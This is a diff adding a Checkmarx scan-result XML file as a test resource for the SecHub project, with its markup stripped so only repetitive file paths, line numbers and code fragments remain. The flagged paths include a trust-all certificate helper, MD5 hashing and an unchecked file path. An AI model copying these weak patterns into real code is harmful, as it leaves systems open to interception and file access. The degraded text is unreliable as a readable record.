com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 39 + 22 + 6 + loadConfiguredSetup + + 1 + + + 39 + loadConfiguredSetup(); + + + + + com/daimler/sechub/adapter/mock/MockedAdapterSetupService.java + 45 + 49 + 7 + filePath + + 8 + + + 45 + String json = mockSupport.loadResourceString(filePath); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 22 + 42 + 8 + path + + 4 + + + 22 + public String loadResourceString(String path) { + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 25 + 40 + 9 + path + + 4 + + + 25 + try (InputStream stream = createPath(path)) { + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 41 + 40 + 10 + path + + 4 + + + 41 + private InputStream createPath(String path) { + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 42 + 24 + 11 + path + + 4 + + + 42 + File file = new File(path); + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 42 + 15 + 12 + File + + 3 + + + 42 + File file = new File(path); + + + + + + + + + + + com/daimler/sechub/adapter/support/TrustAllSupport.java + 110 + 31 + 1 + emptyCertificatesArray + + 22 + + + 110 + private X509Certificate[] emptyCertificatesArray = new X509Certificate[] {}; + + + + + com/daimler/sechub/adapter/support/TrustAllSupport.java + 121 + 13 + 2 + emptyCertificatesArray + + 22 + + + 121 + return emptyCertificatesArray; + + + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 47 + 51 + 1 + file + + 4 + + + 47 + public void store(String fileName, MultipartFile file) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 56 + 8 + 2 + file + + 4 + + + 56 + if (file.isEmpty()) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 65 + 50 + 3 + file + + 4 + + + 65 + String originFileName = StringUtils.cleanPath(file.getOriginalFilename()); + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 69 + 35 + 4 + file + + 4 + + + 69 + try (InputStream inputStream = file.getInputStream()) { + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 69 + 54 + 5 + getInputStream + + 1 + + + 69 + try (InputStream inputStream = file.getInputStream()) { + + + + + + + + + + + com/daimler/sechub/sharedkernel/configuration/AbstractAllowSecHubAPISecurityConfiguration.java + 28 + 98 + 1 + password + + 8 + + + 28 + // https://docs.spring.io/spring-security/site/docs/current/reference/htmlsingle/#core-services-password-encoding + + + + + + + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 47 + 1 + getInputStream + + 1 + + + 113 + InputStream in = cssResource.getInputStream(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 113 + 16 + 2 + in + + 2 + + + 113 + InputStream in = cssResource.getInputStream(); + + + + + com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 114 + 70 + 3 + in + + 2 + + + 114 + try (BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF-8"))){ + + + + + + + + + + + com/daimler/sechub/sharedkernel/util/SimpleStringUtils.java + 3 + 1 + 1 + SimpleStringUtils + + 6 + + + 3 + public class SimpleStringUtils { + + + + + + + + + + + com/daimler/sechub/domain/schedule/SchedulerJobBatchTriggerService.java + 54 + 3 + 1 + ""${sechub.config.trigger.nextjob.cron:*/10 * * * * *}"" + + 9 + + + 54 + @Scheduled(cron = "${sechub.config.trigger.nextjob.cron:*/10 * * * * *}") + + + + + + + + + + + com/daimler/sechub/adapter/support/MessageDigestSupport.java + 11 + 35 + 1 + getInstance + + 1 + + + 11 + md5 = MessageDigest.getInstance("MD5"); + + + + + + + + + + + com/daimler/sechub/adapter/WaitForStateSupport.java + 72 + 5 + 1 + catch + + 5 + + + 72 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/WaitForStateSupport.java + 74 + 5 + 1 + catch + + 5 + + + 74 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/WaitForStateSupport.java + 88 + 5 + 1 + catch + + 5 + + + 88 + } catch (InterruptedException e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/CheckmarxAdapterV1.java + 51 + 5 + 1 + catch + + 5 + + + 51 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/CheckmarxProjectSupport.java + 43 + 5 + 1 + catch + + 5 + + + 43 + } catch (HttpStatusCodeException e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/CheckmarxScanReportSupport.java + 58 + 5 + 1 + catch + + 5 + + + 58 + } catch (HttpStatusCodeException e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/WaitForQueueStateSupport.java + 61 + 4 + 1 + catch + + 5 + + + 61 + }catch(HttpStatusCodeException e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/WaitForScanReportSupport.java + 48 + 4 + 1 + catch + + 5 + + + 48 + }catch(HttpStatusCodeException e) { + + + + + + + + + com/daimler/sechub/adapter/checkmarx/support/WaitForScanStateSupport.java + 45 + 4 + 1 + catch + + 5 + + + 45 + }catch(HttpStatusCodeException e) { + + + + + + + + + com/daimler/sechub/adapter/mock/AbstractMockedAdapter.java + 84 + 6 + 1 + catch + + 5 + + + 84 + } catch (InterruptedException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 75 + 5 + 1 + catch + + 5 + + + 75 + } catch (AdapterException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 77 + 5 + 1 + catch + + 5 + + + 77 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 157 + 5 + 1 + catch + + 5 + + + 157 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 218 + 5 + 1 + catch + + 5 + + + 218 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 260 + 5 + 1 + catch + + 5 + + + 260 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 310 + 5 + 1 + catch + + 5 + + + 310 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 329 + 5 + 1 + catch + + 5 + + + 329 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 353 + 5 + 1 + catch + + 5 + + + 353 + } catch (AdapterException e) { + + + + + + + + + com/daimler/sechub/adapter/nessus/NessusAdapterV1.java + 355 + 5 + 1 + catch + + 5 + + + 355 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 60 + 5 + 1 + catch + + 5 + + + 60 + } catch (AdapterException e) { + + + + + + + + + com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 62 + 5 + 1 + catch + + 5 + + + 62 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/netsparker/NetsparkerAdapterV1.java + 153 + 5 + 1 + catch + + 5 + + + 153 + } catch (HttpClientErrorException e) { + + + + + + + + + com/daimler/sechub/adapter/support/JSONAdapterSupport.java + 60 + 5 + 1 + catch + + 5 + + + 60 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/adapter/support/JSONAdapterSupport.java + 187 + 5 + 1 + catch + + 5 + + + 187 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/support/JSONAdapterSupport.java + 195 + 5 + 1 + catch + + 5 + + + 195 + } catch (JsonProcessingException e) { + + + + + + + + + com/daimler/sechub/adapter/support/JSONAdapterSupport.java + 203 + 5 + 1 + catch + + 5 + + + 203 + } catch (JsonProcessingException e) { + + + + + + + + + com/daimler/sechub/adapter/support/MessageDigestSupport.java + 21 + 5 + 1 + catch + + 5 + + + 21 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 35 + 5 + 1 + catch + + 5 + + + 35 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/adapter/support/MockSupport.java + 47 + 6 + 1 + catch + + 5 + + + 47 + } catch (FileNotFoundException e) { + + + + + + + + + com/daimler/sechub/adapter/support/TrustAllSupport.java + 70 + 6 + 1 + catch + + 5 + + + 70 + } catch (AdapterException e) { + + + + + + + + + com/daimler/sechub/adapter/support/TrustAllSupport.java + 128 + 5 + 1 + catch + + 5 + + + 128 + } catch (NoSuchAlgorithmException | KeyManagementException e) { + + + + + + + + + com/daimler/sechub/domain/administration/user/InternalInitialDataService.java + 86 + 5 + 1 + catch + + 5 + + + 86 + } catch (InterruptedException e) { + + + + + + + + + com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java + 66 + 5 + 1 + catch + + 5 + + + 66 + } catch (SecHubExecutionException e) { + + + + + + + + + com/daimler/sechub/domain/scan/product/AbstractInstallSetupProductExecutor.java + 68 + 5 + 1 + catch + + 5 + + + 68 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java + 63 + 5 + 1 + catch + + 5 + + + 63 + } catch (RuntimeException e) { + + + + + + + + + com/daimler/sechub/domain/scan/product/AbstractProductExecutionService.java + 113 + 6 + 1 + catch + + 5 + + + 113 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/domain/scan/product/sereco/SerecoReportProductExecutor.java + 98 + 5 + 1 + catch + + 5 + + + 98 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/domain/scan/report/CreateScanReportService.java + 61 + 5 + 1 + catch + + 5 + + + 61 + } catch (SecHubExecutionException e) { + + + + + + + + + com/daimler/sechub/domain/scan/report/CreateScanReportService.java + 69 + 5 + 1 + catch + + 5 + + + 69 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/domain/schedule/RetryContext.java + 85 + 5 + 1 + catch + + 5 + + + 85 + } catch (InterruptedException e) { + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSecHubConfigurationValidationService.java + 50 + 6 + 1 + catch + + 5 + + + 50 + } catch (URISyntaxException e) { + + + + + + + + + com/daimler/sechub/domain/schedule/whitelist/ProjectWhiteListSupport.java + 21 + 5 + 1 + catch + + 5 + + + 21 + } catch (URISyntaxException e) { + + + + + + + + + com/daimler/sechub/sereco/importer/CheckmarxV1XMLImporter.java + 30 + 5 + 1 + catch + + 5 + + + 30 + } catch (DocumentException e) { + + + + + + + + + com/daimler/sechub/sereco/importer/NessusV1XMLImporter.java + 30 + 5 + 1 + catch + + 5 + + + 30 + } catch (DocumentException e) { + + + + + + + + + com/daimler/sechub/sereco/importer/NetsparkerV1XMLImporter.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (DocumentException e) { + + + + + + + + + com/daimler/sechub/sereco/Workspace.java + 108 + 5 + 1 + catch + + 5 + + + 108 + } catch (JsonProcessingException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/TraceLogID.java + 30 + 5 + 1 + catch + + 5 + + + 30 + } catch (Exception e) { + + + + + + + + + com/daimler/sechub/sharedkernel/jpa/TypedQuerySupport.java + 41 + 5 + 1 + catch + + 5 + + + 41 + } catch (NoResultException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/JobMessageDataProvider.java + 15 + 5 + 1 + catch + + 5 + + + 15 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/JobMessageDataProvider.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java + 15 + 5 + 1 + catch + + 5 + + + 15 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/ProjectMessageDataProvider.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java + 16 + 5 + 1 + catch + + 5 + + + 16 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/SecHubConfigurationMessageDataProvider.java + 29 + 5 + 1 + catch + + 5 + + + 29 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java + 15 + 5 + 1 + catch + + 5 + + + 15 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/messaging/UserMessageDataProvider.java + 28 + 5 + 1 + catch + + 5 + + + 28 + } catch (JSONConverterException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 62 + 6 + 1 + catch + + 5 + + + 62 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 77 + 5 + 1 + catch + + 5 + + + 77 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 101 + 5 + 1 + catch + + 5 + + + 101 + } catch (MalformedURLException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/JobStorage.java + 113 + 5 + 1 + catch + + 5 + + + 113 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/storage/SharedVolumePropertiesSetup.java + 50 + 5 + 1 + catch + + 5 + + + 50 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 38 + 5 + 1 + catch + + 5 + + + 38 + } catch (NoSuchAlgorithmException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/util/FileChecksumSHA256Service.java + 45 + 10 + 1 + catch + + 5 + + + 45 + }catch(IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/util/JSONConverter.java + 61 + 5 + 1 + catch + + 5 + + + 61 + } catch (JsonProcessingException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/util/JSONConverter.java + 78 + 5 + 1 + catch + + 5 + + + 78 + } catch (IOException e) { + + + + + + + + + com/daimler/sechub/sharedkernel/util/ZipSupport.java + 17 + 5 + 1 + catch + + 5 + + + 17 + } catch (IOException e) { + + + + + + + diff --git a/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration.xml b/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration.xml new file mode 100644 index 0000000000..9d9db78f0d --- /dev/null +++ b/sechub-sereco/src/test/resources/checkmarx/sechub-continous-integration.xml @@ -0,0 +1,34285 @@ + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 53 + 16 + build + + 1 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 23 + 17 + model + + 5 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 67 + 53 + 18 + model + + 5 + + + 67 + return new ModelAndView("report/html/scanresult", model); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 67 + 10 + 19 + ModelAndView + + 3 + + + 67 + return new ModelAndView("report/html/scanresult", model); + + + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 13 + 13 + put + + 1 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 14 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 15 + model + + 5 + + + 103 + return model; + + + + + sechub-doc/src/test/java/com/daimler/sechub/restdoc/ScanReportRestDocTest.java + 156 + 26 + 16 + build + + 1 + + + 156 + when(modelBuilder.build(any())).thenReturn(map); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 60 + 34 + 1 + jobUUID + + 7 + + + 60 + @PathVariable("jobUUID") UUID jobUUID + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 66 + 2 + jobUUID + + 7 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 70 + 72 + 3 + jobUUID + + 7 + + + 70 + private ScanReportResult fetchScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 55 + 4 + jobUUID + + 7 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 84 + 69 + 5 + jobUUID + + 7 + + + 84 + public ScanReportResult getScanReportResult(String projectId, UUID jobUUID) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 56 + 6 + jobUUID + + 7 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 55 + 7 + findBySecHubJobUUID + + 1 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 88 + 10 + 8 + report + + 6 + + + 88 + Report report = reportRepository.findBySecHubJobUUID(jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 31 + 9 + report + + 6 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 59 + 33 + 10 + report + + 6 + + + 59 + public ScanReportResult(Report report) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 13 + 11 + report + + 6 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/report/Report.java + 70 + 10 + 12 + secHubJobUUID + + 13 + + + 70 + return secHubJobUUID; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 36 + 13 + getSecHubJobUUID + + 1 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 61 + 3 + 14 + jobUUID + + 7 + + + 61 + jobUUID = report.getSecHubJobUUID(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ReportService.java + 93 + 10 + 15 + ScanReportResult + + 3 + + + 93 + return new ScanReportResult(report); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 71 + 43 + 16 + getScanReportResult + + 1 + + + 71 + return reportService.getScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 54 + 17 + fetchScanReportResult + + 1 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 64 + 20 + 18 + scanResult + + 10 + + + 64 + ScanReportResult scanResult = fetchScanReportResult(projectId, jobUUID); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 54 + 19 + scanResult + + 10 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 45 + 52 + 20 + scanResult + + 10 + + + 45 + public Map<String, Object> build(ScanReportResult scanResult) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 51 + 21 + getTrafficLight + + 1 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportResult.java + 56 + 10 + 22 + trafficLight + + 12 + + + 56 + return trafficLight; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 51 + 23 + getTrafficLight + + 1 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 46 + 10 + 24 + trafficLight + + 12 + + + 46 + String trafficLight = scanResult.getTrafficLight(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 73 + 29 + 25 + trafficLight + + 12 + + + 73 + model.put("trafficlight", trafficLight); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 73 + 12 + 26 + put + + 1 + + + 73 + model.put("trafficlight", trafficLight); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 75 + 3 + 27 + model + + 5 + + + 75 + model.put("styleRed", styleRed); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 76 + 3 + 28 + model + + 5 + + + 76 + model.put("styleYellow", styleYellow); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 77 + 3 + 29 + model + + 5 + + + 77 + model.put("styleGreen", styleGreen); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 78 + 3 + 30 + model + + 5 + + + 78 + model.put("isWebDesignMode", webDesignMode); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 3 + 31 + model + + 5 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 32 + model + + 5 + + + 99 + model.put("jobuuid", "none"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 101 + 3 + 33 + model + + 5 + + + 101 + model.put("info", scanResult.getInfo()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 103 + 10 + 34 + model + + 5 + + + 103 + return model; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/ScanReportRestController.java + 66 + 53 + 35 + build + + 1 + + + 66 + Map<String, Object> model = htmlModelBuilder.build(scanResult); + + + + + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 29 + 1 + readLine + + 1 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 116 + 32 + 2 + != + + 2 + + + 116 + while ((line=br.readLine())!=null) { + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 16 + 3 + line + + 4 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 117 + 15 + 4 + append + + 1 + + + 117 + sb.append(line); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 118 + 6 + 5 + sb + + 2 + + + 118 + sb.append("\n"); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 17 + 6 + sb + + 2 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 28 + 7 + toString + + 1 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 120 + 5 + 8 + embeddedCSS + + 11 + + + 120 + embeddedCSS=sb.toString(); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 127 + 10 + 9 + embeddedCSS + + 11 + + + 127 + return embeddedCSS; + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 42 + 10 + getEmbeddedCSS + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 79 + 12 + 11 + put + + 1 + + + 79 + model.put("embeddedCSS", getEmbeddedCSS()); + + + + + sechub-scan/src/main/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilder.java + 99 + 4 + 12 + model + + 5 + + + 99 